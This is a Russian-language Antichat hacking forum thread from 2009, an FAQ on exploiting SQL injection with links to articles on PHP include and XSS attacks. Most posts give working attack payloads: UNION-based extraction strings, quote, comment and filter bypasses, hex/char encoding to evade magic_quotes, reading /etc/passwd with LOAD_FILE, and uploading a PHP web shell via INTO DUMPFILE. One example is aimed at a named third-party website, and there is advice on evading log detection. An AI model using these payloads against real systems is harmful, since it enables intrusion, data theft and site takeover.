ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Закрытая тема
 
Опции темы Поиск в этой теме Опции просмотра

Ответы на часто задаваемые вопросы + линки на статьи по SQL/XSS/PHP-инклуд
  #1  
Старый 03.02.2009, 23:54
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию Ответы на часто задаваемые вопросы + линки на статьи по SQL/XSS/PHP-инклуд

Что это я тут понаписал. )
Это ответы на часто задаваемые вопросы в ветке "Ваши вопросы по уязвимостям" 90% этих вопросов гоняется по кругу(кто смотрит тему, тот знает) и отвечать на них порядком поднадоело. Так-же хочу собрать все линки на статьи по багам SQL\XSS\PHP-инклуд в кучу, и сделать что-то вроде карты раздела.


Поехали, вопросы

Вопрос №1 Что это? (ну и далее линк , обычно с кавычкой на конце, пройдя по которому можно лицезреть ту или иную ошибку)
Этот вопрос порядком поднадоел и впринципе некорректен, но задаётся с завидной регулярностью

Если выводится ошибка, и в ней присутствует что то по базу/sql/mysql/mssql/PostgreSQL и т.д. или вываливается запрос, или функции вывода из базы, то это ошибка БД, и скорее всего будет возможность провести инъекцию.
НО. Инъекция , это внедрение своего кода в запрос и иногда как раз внедрить его не получится, несмотря на ошибку базы. Как нам это определить. Вот некоторые примеры, которые я надеюсь помогут, и избавят от этого вопроса
site.com/index.php?id=1
Выводит страницу 1
site.com/index.php?id=2-1(Выводит страницу 1)
site.com/index.php?id=2(Выводит страницу 2)
-------------------
site.com/index.php?id=1*1(Выводит страницу 1)
site.com/index.php?id=1*2(Выводит страницу 2)
-------------------
site.com/index.php?id=1+and+1=1(Выводит страницу 1)
site.com/index.php?id=1+and+1=2(Выводит ошибку, или ничего не выводит, вобщем отличается от первого)
-------------------
Если эти примеры работают, то мы имеем SQL инъекцию.

Подчёркиваю: инъекция, это именно возможность влиять на запрос, возможность внедрить в него что-то, а не просто ошибка базы.

Хотелось-бы обратить внимание вот на какой момент. 90% скулей не доставляют хлопот и проводятся по шаблону но, имейте ввиду, что иногда параметры в запросе могут быть заключены в кавычки и скобки . И соответственно, для проведения инъекции запрос нужно будет подгонять под конкретный случай.Когда есть вывод ошибки, запрос можно увидеть(или увидеть ошибку , которая сообщит, что не так), а вот когда его нет, дело обстоит сложнее Я не смогу в рамках этого ФАКа привести все примеры, разумеется, но попробую сформулировать основной принцип. Страница которая выводится без всяких инъектов берётся за true, и при подстановке своего кода, нужно добиваться её вывода. Тоесть:
site.com/index.php?id=1--true
Прервём её комментарием
site.com/index.php?id=1/*
У нас должен быть тот-же вывод. Если его нет, значит мы отсекли своим комментарием какую-то нужную часть запроса. Для начала, попробуем другой комментарий(--,#)
site.com/index.php?id=1--+
Появился вывод, хорошо, значит будем использовать однострочный комментарий. Нет, пробуем скобку
site.com/index.php?id=1)/* и т.д., думаю принцип понятен
С кавычкой история немного другая. Если кавычка в запросе не нужна, то вам не удастся вывести страницу с её использованием, а вот если нужна, страница может выводиться нормально , как с ней, так и без неё. Вобщем эксперементируйте.
site.com/index.php?id=1)/*
site.com/index.php?id=1')--+
site.com/index.php?id=1"/*
site.com/index.php?id=1))--+

и т.д.
Если страница вывелась допустим при таком варианте:
site.com/index.php?id=1')--+
То и запрос будем составлять исходя из того, что параметр заключен в скобки и кавычки. Тоесть:
site.com/index.php?id=1')+union+select+1,2,3--+

Далее этим-же пунктом хотелось-бы обратить внимание на различия баз данных. При выводе ошибки внимательно смотрим на то, что нам пишут, и ищем в ошибке любое упоминание о БД (mysql/Access/InterBase/MSSQL/Oracle/sybase/PostgreSQL) это здорово упростит задачу и избавит от ненужных вопросов и разочарований
Львиную долю занимает конечно MySql, но и другие базы встречаются

Ниже приведу некоторые характерные функции или фразы, которые выводятся в ошибках и позволяют разпознать базу и линки на статьи по разным базам(Опознали базу, го читать статью )

PostgreSQL(Префикс pg_)
Функции:
pg_exec()
pg_numrows()
pg_query()
pg_fetch_array()

и т.д.
Статья:
Проведение SQL-Injection в PostgreSQL
Автор Spyder

Access пишет что-то такое:
[Microsoft][ODBC Microsoft Access Driver]
или
Microsoft JET Database Engine error
Статья:
Проведение SQL инъекций в Microsoft Access
Автор [53x]Shadow

MS SQL
[Microsoft][ODBC SQL Server Driver]
Статья:
Проведение инъекций в MSSQL сервере от Microsoft
Автор [ cash ]

InterBase\Firebird
ibase_query()
ibase_fetch_object()
ibase_free_result()
ibase_fetch_row()

Статья:
Заметка по Firebird SQL injection
Автор l1ght

Oracle
ORA-01756
(И вообще всякие ORA)

Статья:
Проведение SQL инъекций в Oracle
Автор [53x]Shadow

Sybase
Sybase error
sybase_query()
sybase_num_rows()

Статья:
Проведение SQL инъекций в Sybase ASE
Автор ~!DoK_tOR!~

Ну и конечно наш любимый MySql :
Статьи:
SQL injection полный FAQ
Автор Dr.Z3r0
SQL инъекция (в т.ч. и blind SQL)
Автор kot777
Эффективные Слепые Иньекции
Автор Евгений Минаев
Новая альтернатива Benchmark'y или эффективный blind SQL-injection
Автор Elekt
Быстрый Blind SQL Injection
Автор Qwazar
-----------------

По скулям вроде-бы всё, если в ошибке присутствуют функции
include()
include_once()
require()
require_once()
file()
readfile()

и т.п. Идем читать статьи по PHP инклудам:
php injection
Автор GreenBear
TRUE PHP-injection
Автор Zadoxlik
PHP-include и способы защиты
Автор _Pantera_
[новый способ] замена нулл-байту в инклудах
Автор [Raz0r]
Логи и конфиги
Default *log, *conf files locations
respect ettee
-----------------------------------------

Вопрос №2 Вот так выводит , а вот так невыводит.
site.com/index.php?id=1+union+select+1,2,3,4/*------------выводит
site.com/index.php?id=1+union+select+1,version(),3,4/*----невыводит

Господа, вывод у скули либо есть, либо нет, и если вы видите вывод цифры, но не видите версию или значние из столбца, то варианта 2 либо кодировка, либо тип данных не соответствует

Кодировка:
Может сопровождаться ошибкой такого плана:
Код:
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST)
Illegal mix of collations (cp1251_general_ci,IMPLICIT) and (latin1_bin,IMPLICIT)
Бороться с этим можно несколькими способами, но все они сводятся к одному и тому-же. Что-бы получить данные в нужной нам кодировке можно пользоваться либо функциями приведения типов:

cast(Version()+as+binary)
CONVERT(Version(),binary)
convert(version()+using+latin1)
convert(version()+using+binary)


Либо шифровать/дешифровать данные. Результат при этом возвращается уже в "правильной" кодировке
aes_decrypt(aes_encrypt(Version(),1),1)
unhex(hex(version()))


пример, можете поэксперементировать с разными функциями:
http://www.oceanworld.com.au/page.asp?id=-8+union+select+1,cast(version()+as+binary),3,4,5,6 ,7,8,9,10,11,12,13,14+from+information_schema.tabl es--

Несоответствие типа данных вам может встретится на БД отличных от MySql. MySql относится к типам данных достаточно лояльно, а вот другие БД в основном несоответствия не терпят. Если ваша база оказалась именно такой нужно ознакомится со статьями по проведению инъекций в Вашей базе.
-------------------------------------------

Вопрос №3 Не выводит значение из таблицы, а она есть , точно знаю )
Обычно этот вопрос возникает на 5 ветке мускула, когда все таблицы выведены из information_schema, отсюда и уверенность, что таблица существует.
Вариантов опять-же два
Первый: таблица пустая
Проверяется это элементарно, например так:
union+select+1,2,count(*),4+from+user
count(*) выводит количество записей в таблице, если вывело 0, таблица пустая
либо для 5 ветки так
union+select+1,table_rows+from+information_schema. tables+where+table_name='sasasa'
Второй: Таблица в другой базе.
В базе information_schema хранится информация обо всех таблицах и столбцах из всех баз, и есть вероятность того, что ваша таблица находится не в той базе с которой работает скрипт
Проверяется так(5 ветка)
table_schema+from+information_schema.tables+where+ table_name='user', а база с которой работает скрипт выводится database(). Если базы разные, пробуем обратится к той которая нужна
union+select+1,2,count(*),4+from+base.user (по аналогии с mysql.user)
-------------------------------------------

Вопрос №4 Не могу вывести данные (Вытекает из предыдущего)
table_name='users' Ошибка
Скорее всего magic_quotes_gpc = On , и соответственно кавычки слешируются
И снова целых 2 варианта.
Перевести название таблицы/колонки в hex или в CHAR, кому как нравится
Для hex это выглядит так(добавляем к hex впереди 0x что-бы база поняла, что за данные мы ей втюхиваем):
union+select+1,table_rows+from+information_schema. tables+where+table_name=0x7573657273
для CHAR так:
union+select+1,table_rows+from+information_schema. tables+where+table_name=char(117,115,101,114,115)
Как видим обошлись без кавычек (сдесь table_name=users)
Некоторые индивидумы умудряются загонять в хекс или чар вместе с кавычками, тоесть так 'users'=27757365727327, так делать ненадо, база этого не оценит )

Вниманиеоператоры, функции, и т.д переводить в hex или char нельзя

Онлайн кодировщики:
Инструменты для шифрования/дешифрования данных
encode_decode 0.8
Base64 encode/decode
Universal char SQL encoder by [53x]Shadow!
TRANSLATOR, BINARY
-------------------------------------------

Вопрос №5 Подбираю столбцы ордером пишет(допустим) 2, делаю запрос union+select+1,2 ничего не выводит (выводит ошибку)
Первое что нужно сделать в этом случае. проверить версию базы, например так:
site.com/index.php?id=1+and+substring(version(),1,1)=3
site.com/index.php?id=1+and+substring(version(),1,1)=4
site.com/index.php?id=1+and+substring(version(),1,1)=5


Если оказалось, что версия третья, то неудивительно. что вывода нет, оператор union введён с четвётой версии mysql. B этом случае читаем статьи по проведению инъекций в 3 ветке

Если версия >=4 . или мы видим ошибку different number of columns это вовсе не означает, что вывода не будет.
Вероятность найти вывод всё равно остаётся. По этой теме идём читать сюда:
different number of columns
с поста 79 и вниз со всеми комментариями
--------------------------------------------

Последний раз редактировалось jokester; 13.01.2010 в 20:27..
 

  #2  
Старый 03.02.2009, 23:55
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

Вопрос №6 В скуле фильтруется ...(варианты)

Ну тут тема очень обширная, но некоторые моменты всё-же достаточно распространены
Сначала пробуем послать данные Постом(а вообще, всегда пробуем постом, т.к. палева в логах меньше), возможно пост не фильтруется.

Если POST тоже фильтруется, рассматрваем варианты, но для начала выясняем, что именно фильтруется. Самый простой способ это попробовать вставить возможное выражение\символ в комментарий. Тоесть:
a.php?id=1/*вот сюда вставляем*/
И если такой запрос не обработается нормально, то это оно и есть

Пробелы заменяем на +,/**/,%0D,%2B,%09,%0A,%20,%2B,$IFS
а в подзапросах можно вообще без пробелов как-то так:
php?a=(1)AND(lower(substring((SELECT(password)from (mysql.user)WHERE(user="user")),1,1))='b')
php?a='1'AND(exists(select(1)from(SmallNu_users)wh ere(ascii(lower(substring(user_id,1,1))))like(50)) )and'1'<'2'


"=" можно обойти с помощью like, IN, NOT IN

Ну и различные фильтры операторов можно попробовать обойти записью в разных регистрах, бывает фильтрация регистрозависимая т.е. union фильтрует, а UnIon пропустит. Ну и подзапросы никто не отменял (Рекоммендую всем один раз в них разобраться, и потом будет значительно легче)
---------------------------------------------

Вопрос №7 Помогите залить шелл через SQL
Для этой процедуры необходимо выполнение некоторых условий

1 file_priv (возможность чтения/записи файлов)
Проверяется это так:
union+select+file_priv+from+mysql.user+where+user= 'имя юзера'
'имя юзера'- это имя того юзера под которым работает база, т.е. то, что выводится по запросу:
union+select+user()
но без хоста. Тоесть если вывело root@localhost, то юзер root
Значения два, либо "Y"-повезло, либо "N", соответственно неповезло
Можно не заморачиваться и сразу попробовать прочитать файл:
union+select+LOAD_FILE('/etc/passwd')+from+mysql.user
если вывело, нужные привелегии у вашего юзера есть

2 Полный путь и папка на запись
Путь ищем в разнообразных ошибках или читая конфиги,через Лоад-Файл. Линк на дефолтные конфиги я приводил выше.

3 magic_quotes_gpc = Off
Для того, что-бы шелл залился, синтаксис мускула требует писать путь в ковычках.

Ну и наконец, если нам трижды повезло, льём например так:
union+select+1,'<?php код вашего шелла ?>',3,4,5,6,7,8+into+DUMPFILE+'/путь/до/вашего/будующего/шелла/shell.php'/*
или ещё варианты рассматриваются сдесь:
Загрузка файл через mysql inj
Автор [cash]
и даже при magic_quotes_gpc = on , существует вероятность залиться, но для этого нужны 2 запроса к базе. Как это сделать описывается сдесь:
Заливка через двойной запрос
Автор Scipio
---------------------------------------------

По XSS вопросов возникает меньше, но линки на темы всё-же приведу:
Взлом чатов by Algol. Теория и Практика
Автор Algol
Особенности синтаксиса HTML
Авторы Algol zFailure
Использование UTF-7 в атаках класса XSS
Автор Algol
XSS крупным планом
Автор Thesaurus
Cross Site Scripting для новичков
Автор _Pantera_
Xss для новичков
Автор Micr0b
Темная сторона Xss
Автор Constantine

Важно Примеры SQL запросов приведены для базы MySql, в других базах синтаксис другой, читаем статьи.
База information_schema, появилась в MySql =>5

А то некоторые до сих пор умудряются писать , что доступ к шеме запрещён, на четвёртой ветке

По мере поступления повторяющихся вопросов буду дополнять тему ответами

Ну и наконец, если сдесь ответ на ваш вопрос не обнаружился, идём в тему
Ваши вопросы по уязвимостям
и задаём его там.
С конструктивными предложениями по поводу FAQ обращайтесь в ЛС модераторам раздела

закрыто (с)Const

Последний раз редактировалось Constantine; 16.04.2009 в 23:41..
 

  #3  
Старый 28.06.2009, 00:19
Аватар для ettee
ettee
Administrator
Регистрация: 12.10.2006
Сообщений: 466
Провел на форуме:
17234747

Репутация: 5170
По умолчанию

Способы компрометации и индефикации ПО:
Передача заранее несуществующего параметра команде.
Использовать произвольный порядок команд.
Вызов команды без необходимого параметра.
Передача программному обеспечению заведомо не существующей команды.
Нарушение стандартного формата той или иной команды.
Fuzzing методика.
 
Закрытая тема





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ